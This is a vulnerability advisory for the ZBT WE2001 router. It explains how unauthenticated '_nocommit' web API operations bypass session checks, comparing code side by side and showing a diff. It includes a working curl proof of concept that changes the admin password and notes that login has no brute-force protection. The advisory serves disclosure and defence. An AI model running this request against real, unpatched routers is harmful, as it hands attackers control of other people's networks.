Summary
A missing authentication mechanism in the web management API components of Shenzhen Zhibotong Electronics ZBT WE2001 23.09.27 allows unauthenticated attackers on the local network to modify router and network configurations. By invoking operations whose names end with *_nocommit and supplying the parameters expected by the invoked function, an attacker can change configuration data, including SSID, Wi-Fi credentials, and administrative passwords, without authentication or an existing session.
Details
The vulnerability stems from a design oversight in the webapi and webapi.common components, where administrative functions are duplicated into a “shadow API” that lacks authentication middleware.
Ironically, functions ending in _nocommit suggest a temporary or non-persistent state, however, in practice, they execute the same underlying system commands as the authenticated versions, committing changes to the system effectively.
To illustrate the flaw, we can analyze the change_password operation. The standard version implements a security check, whereas the _nocommit version skips it entirely.
if [ "$op" == "change_password_nocommit" ];then
body="$FORM_body"
json_load "$body"
json_get_var oldpassword oldpassword
json_get_var newpassword newpassword
(passchk "root" "$oldpassword")
if [ "$?" != "0" ]; then
json_init
json_add_string code "-4"
json_add_string reason "check passwork fail: username or password invalid"
echo -n "$(json_dump)"
return
fi
(echo "$newpassword";sleep 1;echo "$newpassword") | passwd > /dev/null
json_init
json_add_string code "1"
json_add_string reason "success"
echo -n "$(json_dump)"
fi
When compared to the legitimate version, it becomes evident that the code is identical except for the inclusion of the security block.
if [ "$op" == "change_password" ];then
body="$FORM_body"
json_load "$body"
json_get_var oldpassword oldpassword
json_get_var newpassword newpassword
access_token="$FORM_access_token"
check_token "$access_token"
if [ "$?" != "0" ]; then
json_init
json_add_string code "-1"
json_add_string reason "access_token err"
echo -n "$(json_dump)"
return
fi
(passchk "root" "$oldpassword")
if [ "$?" != "0" ]; then
json_init
json_add_string code "-4"
json_add_string reason "check passwork fail: username or password invalid"
echo -n "$(json_dump)"
return
fi
(echo "$newpassword";sleep 1;echo "$newpassword") | passwd > /dev/null
json_init
json_add_string code "1"
json_add_string reason "success"
echo -n "$(json_dump)"
fi
Performing a diff between both implementations confirms that the only operational difference is the presence of the security check. The _nocommit version is essentially the same code with the authentication block removed.
Output for: diff change_password_nocommit change_password
1c1
< if [ "$op" == "change_password_nocommit" ];then
---
> if [ "$op" == "change_password" ];then
5a6,15
>
> access_token="$FORM_access_token"
> check_token "$access_token"
> if [ "$?" != "0" ]; then
> json_init
> json_add_string code "-1"
> json_add_string reason "access_token err"
> echo -n "$(json_dump)"
> return
> fi
The only code that changes is the validation of the session token. Consequently, the nocommit option performs the exact same operation without any session token verification.
PoC
An attacker can exploit this vulnerability by sending an HTTP request to the webapi endpoint with the desired operation and necessary data. In this case, requesting a change_password_nocommit with the correct data format results in a successful web password change.
curl -k -X POST -H "Content-Type: application/json" --path-as-is -d '{"oldpassword":"admin","newpassword":"b1n4ri0"}' "http://192.168.1.1/cgi-bin/webapi?op=change_password_nocommit"
Demonstration
Sensitive information, such as the web admin password (initially set as admin and changed to b1n4ri0 for this demonstration), should only be changeable with an active admin session. Here, it is demonstrated that any user on the network could change the administrator password without a session.
Note that there is no anti-brute-force mechanism in the login functionality, allowing attackers to brute-force the current web admin password to satisfy the oldpassword requirement in the change_password_nocommit function.
Figure 1: Error response when trying to change a password with an incorrect current password using change_password_nocommit.
Figure 2: Success response when trying to change the password with a correct current password using change_password_nocommit.
Figure 3: Login error when trying to log in with the old password (admin).
Figure 4: Login success when trying to log in with the new changed password (b1n4ri0).
Impact
Successful exploitation of this vulnerability enables an unauthenticated attacker to achieve full administrative control over the router. By bypassing the intended security model, an attacker can modify critical settings such as the root password, SSID, and Wi-Fi credentials without a valid session. This results in a total breakdown of the device’s authorization system and allows for persistent unauthorized access while potentially locking out legitimate users.
At the time of this publication, there is no official patch or remediation available from the vendor.
Disclosure Timeline
| Date |
Event |
| 2025-10-25 |
Initial report sent to MITRE. |
| 2025-12-15 |
CVE ID reserved/assigned by MITRE. |
| 2026-02-11 |
Public disclosure. |
Credits
Adrià Pérez Montoro (b1n4ri0)